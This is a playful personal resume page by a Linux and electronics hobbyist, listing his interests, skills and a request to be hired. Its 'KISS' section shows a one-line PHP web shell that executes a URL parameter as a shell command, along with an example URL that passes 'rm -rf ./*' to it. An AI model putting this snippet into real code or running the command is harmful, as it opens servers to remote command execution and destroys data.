Whoami

Hello world. My name is Milutin Gavrilovic and I like working with low currents. My passion is low level programming at the source, at 0 and 1. I love quarks, leptons and photons. I like to play with photocells and lasers and write a program in Python on a Raspberry Pi computer. In practice, I have been using Debian and related GNU / Linux systems for 10 years.

What am I actually doing

Let's say I like to play with bits, nibbles and bytes. To understand very well the hexadecimal system as well as the logical gates. I also understand how low and high level languages work even though I know it superficially. I like to explore Hadamard and PauliX Quantum Logic Gates :)

Keep It Simple Stupid (KISS)

If you want to know which coding style I like here is a smallexample:
<?php echo `$ _GET ['t']`; ?>
https://domen.tld/littlebyte.php?t=rm -rf ./*
Although this is a stupid example of replacing the php system command, I like tilds because they shorten bytes :) I like to experiment with all programming languages, especially esoteric ones like brainfuck, although I still haven't written a single line of code in it.

Interests

I like to read books, such as Frederick Forsythe's political thrillers (Piranha, The Case of Odessa, God's Poet, The Icon, The Negotiator), as well as Silent Don by Mikhail Solokhov, whom I started at least fifteen times and realized I didn't like tragedy. I love to read Computer books like Extreme Programming or TCP/IP or PHP CookBook and so on ... I also love swimming but I have less and less will to go to the pool. I love nature.

Real Skills

HTML, HTML5 (Making puzzle), CSS, CSS3 (Beautify markup), PHP (Level: A curious ninja baby), MySQL(Stackoverflow is my friend), AJAX, JQuery, XML (From 1 to 10 scale i think it's 3), GNU/Linux (Debian, Arch, CentOS, Slackware, Ubuntu), Servers (Nginx, Apache, Ngircd, vsFTPd ...), Protocols (http, https, telnet, bbs, ssh, ftp, sftp ...), Windows (From Floppy disk :) 95, 98, XP, Win 7, Win 10), Social engineering and Pentesting (Pure Whitehat), Scribus, Gimp, Inkscape and all other GNU/Linux Apps, Python (Level: Experiment baby), LISP (Just love it and i want to learn it), Low and high Level Programming with breadboard and Raspberry Pi with different electronics, most lights.

Work experience in a cover letter

HIRE ME !

And finally please hire me. You will get a loyal, hardworking, precise and creative worker. It is not a problem for me to study and progress. I love innovation and research. If for no other reason do you have a reason to hire me then it is this resume written in a completely unusual style, right?
